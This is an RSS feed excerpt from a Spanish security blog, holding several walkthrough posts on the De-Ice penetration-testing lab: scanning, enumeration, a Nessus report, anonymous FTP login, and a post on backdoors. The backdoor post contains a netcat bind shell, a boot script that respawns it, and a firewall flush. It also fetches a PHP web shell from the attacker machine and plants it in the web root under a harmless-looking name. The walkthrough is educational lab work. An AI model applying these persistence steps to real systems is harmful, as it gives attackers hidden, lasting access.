<p style="text-align: justify;"><strong>root@bt:~# nmap -sV -p 80 192.168.2.101</strong></p>
<p>Starting Nmap 5.00 ( http://nmap.org ) at 2010-03-02 13:12 COT<br />
Interesting ports on 192.168.2.101:<br />
PORT   STATE SERVICE VERSION<br />
80/tcp open  http    Apache httpd 2.0.55 ((Unix) PHP/5.1.2)<br />
MAC Address: 00:0C:29:0C:B9:E5 (VMware)</p>
<p>Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 19.28 seconds</p>
<p style="text-align: justify;">Perfecto el proceso de mapeo de red e identificación de aplicaciones y servicios en los host objetivos. En el próximo post centraremos nuestra atención a las actvidades relacionadas con la enumeración del objetivo e identificación de posibles puntos de intrusión.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-network-mapping-port-scanning/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desarrollo del Entorno De-Ice nivel II – Recolección de Información / Escaneo de Vulnerabilidades</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-ii-%e2%80%93-recoleccion-de-informacion-escaneo-de-vulnerabilidades</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-ii-%e2%80%93-recoleccion-de-informacion-escaneo-de-vulnerabilidades#comments</comments>
		<pubDate>Fri, 22 Jan 2010 05:23:55 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[ISSAF]]></category>
		<category><![CDATA[Nessus]]></category>
		<category><![CDATA[Netcat]]></category>
		<category><![CDATA[Nikto]]></category>
		<category><![CDATA[OSSTMM]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Vulnerability Scanning]]></category>
		<category><![CDATA[Wget]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=367</guid>
		<description><![CDATA[Ya hemos realizado varios escaneos al sistema y hemos identificado los servicios que se ejecutan en este. Pasemos ahora a recolectar información sensible del sistema o de interés para posibles ataques. Se hace necesario realizar varios tipos de test; entre ellos un escaneo de directorios y archivos (árbol de directorios del aplicativo web), pruebas de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: justify;">Ya hemos realizado varios escaneos al sistema y hemos identificado los servicios que se ejecutan en este. Pasemos ahora a recolectar información sensible del sistema o de interés para posibles ataques.</p>
<p style="text-align: justify;"><span id="more-367"></span>Se hace necesario realizar varios tipos de test; entre ellos un escaneo de directorios y archivos (árbol de directorios del aplicativo web), pruebas de conexión a los diferentes servicios, etc. Todos estos procedimientos son detallados en las metodologías<a href="http://www.sec-track.com/issaf-information-system-security-assessment-framework" target="_blank"><strong> ISSAF</strong></a> y <a href="http://www.sec-track.com/osstmm-open-source-security-testing-methodology-manual" target="_blank"><strong>OSSTMM</strong></a>.</p>
<p style="text-align: justify;">Si observamos la página web del sistema objetivo, esta nos ofrece información sobre la finalidad del sistema y de las personas/usuarios que administran/utilizan el servidor. Estos son:</p>
<p style="text-align: justify;"><strong>Sr. System Admin:  Adam Adams &#8211; adamsa@herot.net<br />
System Admin (Intern): Bob Banter &#8211; banterb@herot.net<br />
System Admin:  Chad Coffee &#8211; coffeec@herot.net </strong></p>
<p style="text-align: justify;">Muy posiblemente los usuarios válidos en el sistema sean:</p>
<ul style="text-align: justify;">
<li>adamsa</li>
<li>banterb</li>
<li>coffeec</li>
</ul>
<p style="text-align: justify;">Y estos nos sirvan para llevar a cabo un ataque de autenticación a los servicios que actualmente ofrece (FTP, SSH)</p>
<p style="text-align: justify;">Aun así y con el objetivo de recolectar más información realicemos un escaneo de directorios y vulnerabilidades web con la herramienta <a href="http://cirt.net/nikto2" target="_blank"><strong>nikto</strong></a>.</p>
<h3 style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# perl nikto.pl -h http://192.168.1.110</strong></h3>
<p style="text-align: justify;">- Nikto v2.1.0<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Target IP:          192.168.1.110<br />
+ Target Hostname:    192.168.1.110<br />
+ Target Port:        80<br />
+ Start Time:         2010-01-22 20:49:26<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Server: Apache/2.2.4 (Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2<br />
+ OSVDB-0: mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2 &#8211; mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.<br />
+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE<br />
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST<br />
+ OSVDB-0: Apache/2.2.4 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.<br />
+ OSVDB-0: mod_ssl/2.2.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)<br />
+ OSVDB-0: OpenSSL/0.9.8b appears to be outdated (current is at least 0.9.8i) (may depend on server version)<br />
+ 3588 items checked: 6 item(s) reported on remote host<br />
+ End Time:           2010-01-22 20:50:02 (36 seconds)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ 1 host(s) tested</p>
<p style="text-align: justify;">Pasemos ahora a explorar el código fuente del sitio Web con el objetivo de buscar información oculta. Para ello realizaremos una descarga de todo el Website con la herramienta <a href="http://es.wikipedia.org/wiki/GNU_Wget" target="_blank"><strong>WGet</strong></a>.</p>
<h3 style="text-align: justify;"><strong>root@bt:~/Sec-Track/De-Ice_II# wget -r http://192.168.1.110</strong></h3>
<p style="text-align: justify;">&#8211;2010-01-21 21:02:52&#8211;  http://192.168.1.110/<br />
Connecting to 192.168.1.110:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 2036 (2.0K) [text/html]<br />
Saving to: `192.168.1.110/index.html&#8217;</p>
<p>100%[======================================&gt;] 2,036       &#8211;.-K/s   in 0s</p>
<p>2010-01-21 21:02:52 (103 MB/s) &#8211; `192.168.1.110/index.html&#8217; saved [2036/2036]</p>
<p>Loading robots.txt; please ignore errors.<br />
&#8211;2010-01-21 21:02:52&#8211;  http://192.168.1.110/robots.txt<br />
Reusing existing connection to 192.168.1.110:80.<br />
HTTP request sent, awaiting response&#8230; 404 Not Found<br />
2010-01-21 21:02:52 ERROR 404: Not Found.</p>
<p>&#8211;2010-01-21 21:02:52&#8211;  http://192.168.1.110/level.html<br />
Reusing existing connection to 192.168.1.110:80.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 2309 (2.3K) [text/html]<br />
Saving to: `192.168.1.110/level.html&#8217;</p>
<p>100%[======================================&gt;] 2,309       &#8211;.-K/s   in 0s</p>
<p>2010-01-21 21:02:52 (157 MB/s) &#8211; `192.168.1.110/level.html&#8217; saved [2309/2309]</p>
<p>&#8211;2010-01-21 21:02:52&#8211;  http://192.168.1.110/copyright.txt<br />
Reusing existing connection to 192.168.1.110:80.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 15719 (15K) [text/plain]<br />
Saving to: `192.168.1.110/copyright.txt&#8217;</p>
<p>100%[======================================&gt;] 15,719      &#8211;.-K/s   in 0s</p>
<p>2010-01-21 21:02:52 (177 MB/s) &#8211; `192.168.1.110/copyright.txt&#8217; saved [15719/15719]</p>
<p>&#8211;2010-01-21 21:02:52&#8211;  http://192.168.1.110/index2.html<br />
Reusing existing connection to 192.168.1.110:80.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 847 [text/html]<br />
Saving to: `192.168.1.110/index2.html&#8217;</p>
<p>100%[======================================&gt;] 847         &#8211;.-K/s   in 0.001s</p>
<p>2010-01-21 21:02:52 (968 KB/s) &#8211; `192.168.1.110/index2.html&#8217; saved [847/847]</p>
<p>FINISHED &#8211;2010-01-21 21:02:52&#8211;<br />
Downloaded: 4 files, 20K in 0.001s (20.5 MB/s)</p>
<p style="text-align: justify;">Luego de analizar los archivos descargados pudimos darnos cuenta que no existe ninguna información de relevancia para el Test de Penetración. Lo que si pudimos encontrar fue un archivo (level.html) con información relacionada con el entorno De-Ice LiveCD II:</p>
<p style="text-align: justify;"><em>&lt;B&gt;&lt;I&gt;The disk is considered Level 1&lt;/I&gt;&lt;/B&gt;, and minimal penetration skills are required in order to exploit this disk.  Additional skills required to complete this challenge is a more-than-basic understanding of unix commands and basic functionality of the unix OS.  All tools needed to exploit this disk can be found on the BackTrack Penetration LiveCD (version 2) found at Remote-Exploit.org.  No additional downloads or disks are needed.<br />
&lt;BR&gt;&lt;BR&gt;<br />
&lt;B&gt;Minimum time required to penetrate this CD is:  30 Minutes (approx.)&lt;/B&gt;&lt;BR&gt;<br />
This time is only possible if you know exactly what to do, and in what order.  Do not get frustrated if penetration of this system exceeds hours, or even days.<br />
This exercise is intended to provide a real-world simulation of a penetration test task.  Sometimes, banging your head IS the answer&#8230; so bang away.  &gt;;-)</em></p>
<p style="text-align: justify;">etc&#8230;.</p>
<p style="text-align: justify;">En la fase anterior no pudimos identificar el banner del servicio que se ejecutaba en el puerto 22 (SSH) con nmap, para esto simplemente ejecuto la herramienta <a href="http://www.sec-track.com/tag/netcat" target="_blank"><strong>Netcat</strong></a>:</p>
<h3 style="text-align: justify;"><strong>root@bt:~# nc 192.168.1.110 22</strong></h3>
<p style="text-align: justify;">SSH-1.99-OpenSSH_4.3</p>
<p style="text-align: justify;">Además de esto vamos a realizar un escaneo de vulnerabilidades con la herramienta <a href="http://es.wikipedia.org/wiki/Nessus" target="_blank"><strong>Nessus</strong></a>.</p>
<p style="text-align: justify;">Para ello voy a deshabilitar todos los plugins que vienen activos por defecto, pues solo vamos a requerir algunos que están relacionados con los puertos y servicios que identificamos en la primera fase del Test de Penetración.</p>
<p style="text-align: justify;"><strong>Brute Force Attacks</strong></p>
<ul style="text-align: justify;">
<li>Hydra FTP</li>
<li>Hydra SSH2</li>
</ul>
<p style="text-align: justify;"><strong>FTP</strong></p>
<ul style="text-align: justify;">
<li>Anonymous FTP Enabled</li>
<li>Anonymous FTP Writeable root Directory</li>
<li>FTP Privileged Port Bounce Scan</li>
<li>FTP Server Any Command Accepted (Possible Backdoor Proxy)</li>
<li>FTP Server Bad Command Sequence Accepted (Possible Backdoor Proxy)</li>
<li>FTP Server Copyrighted Material Present</li>
<li>FTP Server No Command Accepted (Possible Backdoor Proxy)</li>
<li>Etc&#8230;</li>
</ul>
<p style="text-align: justify;"><strong>Finger Abuses</strong></p>
<ul style="text-align: justify;">
<li>Finger .@host Unused Account Disclosure</li>
<li>Finger 0@host Unused Account Disclosure</li>
<li>Finger Service Remote Information Disclosure</li>
<li>Etc&#8230;</li>
</ul>
<p style="text-align: justify;"><strong>General</strong></p>
<ul style="text-align: justify;">
<li>Enumerate</li>
<li>OS Identification</li>
<li>OS Identification FTP</li>
<li>OS Identification HTTP</li>
<li>OS Identification ICMP</li>
<li>OS Identification Linux Distribution</li>
<li>OS Identification SSH</li>
</ul>
<p style="text-align: justify;"><strong>Web Servers</strong></p>
<ul style="text-align: justify;">
<li>Apache</li>
<li>PHP</li>
<li>Etc&#8230;</li>
</ul>
<p style="text-align: justify;"><strong>Gain a Shell Remotely</strong></p>
<ul style="text-align: justify;">
<li>OpenSSH</li>
<li>OpenSSL</li>
<li>Shell Command Execution Vulnerability</li>
<li>Etc&#8230;</li>
</ul>
<p style="text-align: justify;">Entre otras&#8230;</p>
<p style="text-align: justify;">Como vemos este escaneo está configurado de manera muy general, y enfocado únicamente a los servicios  encontrados con Nmap. Por ello solo encontramos las siguientes Alertas de Seguridad en el resultado de Nessus.</p>
<p style="text-align: justify;">﻿﻿﻿<strong>Nessus Report</strong><br />
The Nessus Security Scanner was used to assess the security of 1 host</p>
<ul style="text-align: justify;">
<li> 2 security warnings have been found</li>
<li> 1 security note has been found</li>
</ul>
<p style="text-align: justify;"><strong>List of open ports :</strong></p>
<ul style="text-align: justify;">
<li>ssh (22/tcp)</li>
<li>ipp (631/tcp)</li>
<li>http (80/tcp)</li>
<li><strong>ftp (21/tcp)  (Security warnings found</strong></li>
</ul>
<p style="text-align: justify;"><strong>Warning found on port ftp (21/tcp)</strong><br />
<strong> Synopsis :</strong></p>
<p>Anonymous logins are allowed on the remote FTP server.<br />
<strong>Description :</strong></p>
<p style="text-align: justify;">This FTP service allows anonymous logins. Any remote user may connect and authenticate without providing a password or unique credentials. This allows a user to access any files made available on the FTP server.</p>
<p><strong> Solution :</strong></p>
<p style="text-align: justify;">Disable anonymous FTP if it is not required. Routinely check the FTP server to ensure sensitive content is not available.</p>
<p><strong> Risk factor :</strong></p>
<p>Medium / CVSS Base Score : 5.0<br />
(CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)</p>
<p>CVE : CVE-1999-0497<br />
Other references : OSVDB:69<br />
Nessus ID : 10079</p>
<p style="text-align: justify;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p style="text-align: justify;"><strong>Warning found on port ftp (21/tcp)</strong><br />
<strong> Synopsis :</strong></p>
<p>The remote FTP server contains world-writable directories.</p>
<p><strong> Description :</strong></p>
<p style="text-align: justify;">By crawling through the remote FTP server, Nessus discovered several directories were marked as being world-writable.</p>
<p>This could have several negative impacts:</p>
<p style="text-align: justify;">* Temporary file uploads are sometimes immediately available to all anonymous users, allowing the FTP server to be used as a &#8216;drop&#8217; point. This may faciliate trading copyrighted, pornographic or questionable material.</p>
<p style="text-align: justify;">* A user may be able to upload large files that consume disk space, resulting in a denial of service condition.</p>
<p style="text-align: justify;">* A user can upload a malicious program. If an administrator routinely checks the &#8216;incoming&#8217; directory, they may load a document or run a program that exploits a vulnerability in client software.</p>
<p><strong> Solution :</strong></p>
<p>Configure the remote FTP directories so that they are not world-writable.</p>
<p><strong> Risk factor :</strong></p>
<p>Medium / CVSS Base Score : 6.4<br />
(CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P)</p>
<p>Other references : OSVDB:76<br />
Nessus ID : 19782</p>
<p style="text-align: justify;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p style="text-align: justify;"><strong>Information found on port ftp (21/tcp)</strong><br />
<strong> Synopsis :</strong></p>
<p>The remote FTP server allows credentials to be transmitted in clear text.</p>
<p><strong> Description :</strong></p>
<p style="text-align: justify;">The remote FTP does not encrypt its data and control connections. The user name and password are transmitted in clear text and may be intercepted by a network sniffer, or a man-in-the-middle attack.</p>
<p><strong> Solution :</strong></p>
<p style="text-align: justify;">Switch to SFTP (part of the SSH suite) or FTPS (FTP over SSL/TLS). In the latter case, configure the server such as data and control connections must be encrypted.</p>
<p><strong> Risk factor :</strong></p>
<p>Low / CVSS Base Score : 2.6<br />
(CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)</p>
<p style="text-align: justify;">Nessus ID : 34324)</p>
<p style="text-align: justify;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p style="text-align: justify;">Finalmente comprobamos manualmente este acceso al servidor FTP que permite login anónimo.</p>
<h3><strong>root@bt:~/Sec-Track/De-Ice_II/192.168.1.110# ftp 192.168.1.110</strong></h3>
<p style="text-align: justify;">Connected to 192.168.1.110.<br />
220 (vsFTPd 2.0.4)<br />
Name (192.168.1.110:root): anonymous<br />
331 Please specify the password.<br />
Password:<br />
230 Login successful.<br />
Remote system type is UNIX.<br />
Using binary mode to transfer files.<br />
ftp&gt;</p>
<p style="text-align: justify;">En la próxima fase (post) llevaremos a cabo una primera exploración dentro del servidor FTP en busca de información sensible que nos permita elevar privilegios en el sistema objetivo. En caso de no encontrar nada relevante procederemos a intentar un login por medio del servidor SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-ii-%e2%80%93-recoleccion-de-informacion-escaneo-de-vulnerabilidades/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Desarrollo del Entorno De-Ice nivel I – Backdoors, Manteniendo el Acceso</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-backdoors-manteniendo-el-acceso</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-backdoors-manteniendo-el-acceso#comments</comments>
		<pubDate>Thu, 10 Dec 2009 06:53:00 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[IPTABLES]]></category>
		<category><![CDATA[Netcat]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Shell PHP]]></category>
		<category><![CDATA[Wget]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=281</guid>
		<description><![CDATA[Ahora que hemos conseguido elevar privilegios y acceder a la información crítica contenida en el sistema objetivo, veamos algunos métodos para mantener el acceso al sistema. Sobra aclarar que toda la información publicada es de carácter educativo, y solo busca recrear de la mejor manera los ataques a los que están expuestos los sistemas y [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Ahora que hemos conseguido elevar privilegios y acceder a la información crítica contenida en el sistema objetivo, veamos algunos métodos para mantener el acceso al sistema. Sobra aclarar que toda la información publicada es de carácter educativo, y solo busca recrear de la mejor manera los ataques a los que están expuestos los sistemas y sus administradores y oficiales de seguridad. Todo ello con la finalidad de adquirir destrezas y habilidades en los temas relacionados con los Test de Penetración.</p>
<p style="text-align: justify;"><span id="more-281"></span>La finalidad de usar sistemas backdoors (puertas traseras) es mantener un acceso al sistema de manera oculta al administrador del sistema, los cuales permitirán una entrada luego de un reinicio del sistema o ciertas condiciones a la que se someta el sistema sin necesidad de penetrar nuevamente el sistema.</p>
<p style="text-align: justify;">El tema de backdoors en sistemas es más un arte que una técnica, ya que esta obliga al PenTester a usar toda su creatividad e imaginación para lograr su objetivo de conseguir un acceso en cualquier momento al sistema sin ser descubierto.</p>
<p style="text-align: justify;">Solo mostraré algunos métodos para crear puertas traseras con la herramienta Netcat y otro con el servicio de publicación en Web (PHP), con la finalidad de que los lectores se animen y publiquen los métodos que conozcan y nos vayamos preparando para los entornos que vienen.</p>
<p style="text-align: justify;">Ya hemos hablado anteriormente de Netcat (<a title="Permanent Link to Video Tutorial Netcat en BackTrack" rel="bookmark" href="../video-tutorial-netcat-en-backtrack">Video Tutorial Netcat en BackTrack</a>), ahora aprovechemos el entorno disponible para practicar los aprendido.</p>
<p style="text-align: justify;">Para nuestra fortuna, en el entorno De-Ice I netcat se encuentra disponible en dicho sistema, por lo tanto solo necesitamos dejarlo a la escucha.</p>
<p style="text-align: justify;">Antes de ello es necesario verificar como se encuentra configurado el sistema de IPTABLES con la finalidad de analizar como se realizan las conexiones al sistema (conexiones permitidas, conexiones denegadas, etc)</p>
<p style="text-align: justify;"><em><strong>root@slax:/# iptables -L</strong></em><br />
Chain INPUT (policy ACCEPT)<br />
target     prot opt source               destination<br />
ACCEPT     all  &#8211;  anywhere             anywhere<br />
ACCEPT     udp  &#8211;  anywhere             anywhere            udp dpt:domain<br />
ACCEPT     udp  &#8211;  anywhere             anywhere            udp spt:domain<br />
ACCEPT     all  &#8211;  anywhere             anywhere            state RELATED,ESTAB                                              LISHED<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:ftp-data<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:ftp<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:ssh<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:smtp<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:http<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:pop3<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:imap<br />
ACCEPT     tcp  &#8211;  anywhere             anywhere            tcp dpt:https<br />
LOG_DROP   all  &#8211;  anywhere             anywhere</p>
<p>Chain FORWARD (policy ACCEPT)<br />
target     prot opt source               destination<br />
LOG_DROP   all  &#8211;  anywhere             anywhere</p>
<p>Chain OUTPUT (policy ACCEPT)<br />
target     prot opt source               destination<br />
ACCEPT     all  &#8211;  anywhere             anywhere</p>
<p>Chain LOG_DROP (2 references)<br />
target     prot opt source               destination<br />
DROP       all  &#8211;  anywhere             anywhere</p>
<p style="text-align: justify;">Si quisieramos tirar abajo todas las reglas (no recomendado para el objetivo de pasar desapercibido) solo basta con ejecutar la siguiente instrucción.</p>
<p style="text-align: justify;"><em><strong>root@slax:/# iptables -F</strong></em></p>
<p style="text-align: justify;">La idea es que los lectores propongan una de las muchas maneras de agregar esta conexión a las reglas de IPTABLES sin tirar las demás abajo (<a href="http://es.wikipedia.org/wiki/Netfilter/iptables" target="_blank">Más información sobre IPTABLES y su configuración/edición</a>)</p>
<p style="text-align: justify;">Luego de esta &#8220;limpieza&#8221; de reglas vemos como quitamos la negación a peticiones ICMP que observamos al comienzo de la prueba.</p>
<p style="text-align: justify;"><em><strong>S3cTr4cK@0100100-0100100 ~<br />
$ ping 192.168.1.100</strong></em></p>
<p>Pinging 192.168.1.100 with 32 bytes of data:</p>
<p>Reply from 192.168.1.100: bytes=32 time=1ms TTL=64<br />
Reply from 192.168.1.100: bytes=32 time=1ms TTL=64</p>
<p>Ping statistics for 192.168.1.100:<br />
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),<br />
Approximate round trip times in milli-seconds:<br />
Minimum = 1ms, Maximum = 1ms, Average = 1ms</p>
<p style="text-align: justify;">Ahora ejecutemos a netcat en modo escucha en el sistema objetivo (De-Ice I)</p>
<p style="text-align: justify;"><em><strong>root@slax:/# nc -l -p 1337 -e /bin/bash</strong></em></p>
<p style="text-align: justify;">Si realizaramos un escaneo sencillo con nmap a varios puertos incluyendo el que dejamos a la escucha, encontraríamos los siguientes:</p>
<p style="text-align: justify;"><em><strong>C:\Program Files\Nmap&gt;nmap -p 22,25,80,443,1337 192.168.1.100</strong></em></p>
<p>Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-09 23:51 SA Pacific Standard T<br />
Interesting ports on 192.168.1.100:<br />
PORT     STATE  SERVICE<br />
22/tcp   open   ssh<br />
25/tcp   open   smtp<br />
80/tcp   open   http<br />
443/tcp  closed https<br />
<strong>1337/tcp open   waste</strong><br />
MAC Address: 00:1A:73:90:81:0B (Gemtek Technology Co.)</p>
<p>Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds</p>
<p style="text-align: justify;">Ahora desde nuestro sistema cliente (atacante) solo basta conectarnos al puerto que dejamos a la escucha (1337) y ejecutar algunos comandos:</p>
<p style="text-align: justify;"><em><strong>C:\Documents and Settings\S3cTr4cK\My Documents\Descargas\nc&gt;nc 192.168.1.100 1337<br />
whoami</strong></em><br />
root<br />
<em><strong>pwd</strong></em><br />
/<br />
<em><strong>ifconfig</strong></em><br />
eth0      Link encap:Ethernet  HWaddr 00:0C:29:43:03:6B<br />
inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0<br />
inet6 addr: fe80::20c:29ff:fe43:36b/64 Scope:Link<br />
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br />
RX packets:6377 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:1365 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:1000<br />
RX bytes:438725 (428.4 KiB)  TX bytes:169876 (165.8 KiB)<br />
Interrupt:5 Base address:0&#215;2000</p>
<p>lo        Link encap:Local Loopback<br />
inet addr:127.0.0.1  Mask:255.0.0.0<br />
inet6 addr: ::1/128 Scope:Host<br />
UP LOOPBACK RUNNING  MTU:16436  Metric:1<br />
RX packets:176 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:176 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:15878 (15.5 KiB)  TX bytes:15878 (15.5 KiB)</p>
<p><em><strong>uname -a</strong></em><br />
Linux slax 2.6.16 #95 Wed May 17 10:16:21 GMT 2006 i686 athlon-4 i386 GNU/Linux</p>
<p style="text-align: justify;">Ahora bien&#8230; ¿Qué pasaría si quisieramos que dicha instrucción se ejecutara al inicio del sistema objetivo?</p>
<p style="text-align: justify;">Solo basta automatizar dicho inicio alojando la instrucción (script) en el directorio <strong>/etc/rc.d</strong></p>
<p style="text-align: justify;">Veamos el contenido de este directorio y un ejemplo de script para dicho propósito:</p>
<p style="text-align: justify;"><strong>Contenido:</strong></p>
<p style="text-align: justify;"><em><strong>root@slax:/etc/rc.d# ls</strong></em><br />
rc.0         rc.alsa      rc.inet1       rc.nfsd        rc.sshd<br />
rc.4         rc.bind      rc.inet1.conf  rc.pcmcia      rc.syslog<br />
rc.6         rc.cups      rc.inet2       rc.portmap     rc.sysvinit<br />
rc.FireWall  rc.firewall  rc.inetd       rc.saslauthd   rc.udev<br />
rc.K         rc.font.new  rc.ip_forward  rc.sendmail    rc.vsftpd<br />
rc.M         rc.gpm       rc.local       rc.serial      rc.wireless<br />
rc.S         rc.hotplug   rc.modules     rc.slax        rc.wireless.conf<br />
rc.acpid     rc.httpd     rc.mysqld      rc.slaxconfig</p>
<p style="text-align: justify;">Hagamos entonces lo mismo para Netcat</p>
<p style="text-align: justify;"><strong>Script:</strong></p>
<p style="text-align: justify;"><em><strong>root@slax:/etc/rc.d# vi rc.netcat1</strong></em><br />
#!/bin/sh<br />
mkdir /tmp/netcat<br />
while true ; do<br />
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash<br />
done</p>
<p style="text-align: justify;">Y quedaría así:</p>
<p style="text-align: justify;"><em><strong>root@slax:/etc/rc.d# more rc.netcat1</strong></em><br />
#!/bin/sh<br />
mkdir /tmp/netcat<br />
while true ; do<br />
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash<br />
done</p>
<p style="text-align: justify;">Otra buena opción sería utilizar a Netcat en modo reverse shell, que también ha sido tratado en el video tutorial citado anteriormente.</p>
<p style="text-align: justify;">El tercer método para habilitar una puerta tracera en el sistema de manera más &#8220;discreta&#8221; puede ser el uso del servidor web en la máquina objetivo, veamos:</p>
<p style="text-align: justify;">Para ello haremos uso de una shell en el leguaje del lado del servidor PHP.</p>
<p style="text-align: justify;">Primero debemos descargarla y transferirla a la máquina objetivo.</p>
<p style="text-align: justify;">Para la transferencia he habilitado un server en mi máquina, solo basta realizar la petición con wget:</p>
<p style="text-align: justify;"><em><strong>root@slax:~/Desktop# wget http://192.168.1.3/shellphp.txt</strong></em><br />
&#8211;00:34:53&#8211;  http://192.168.1.3/shellphp.txt<br />
=&gt; `shellphp.txt&#8217;<br />
Connecting to 192.168.1.3:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 63,743 (62K) [text/plain]</p>
<p>100%[====================================&gt;] 63,743        &#8211;.&#8211;K/s</p>
<p>00:34:53 (64.06 MB/s) &#8211; `shellphp.txt&#8217; saved [63743/63743]</p>
<p><em><strong>root@slax:~/Desktop# ls</strong></em><br />
Home.desktop  System.desktop  shellphp.txt</p>
<p style="text-align: justify;">root@slax:~/Desktop# cp shellphp.txt /var/www/htdocs/infosys.php</p>
<p style="text-align: justify;">Luego solo bastaría con ingresar en cualquier momento a dicha URL, para mi caso:</p>
<p style="text-align: justify;"><em><strong>http://192.168.1.100/infosys.php</strong></em></p>
<table id="table1" style="border: 1px none #333333; height: 90px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="300" height="30" align="left"><strong><span style="font-size: x-small;">File / Folder Name</span></strong></td>
<td width="82" height="28" align="center">#                 <span style="color: #000080; font-size: x-small;"><strong>Size KByte</strong></span></td>
<td width="83" height="28" align="center">#                 <span style="color: #006600; font-size: x-small;"><strong>Download</strong></span></td>
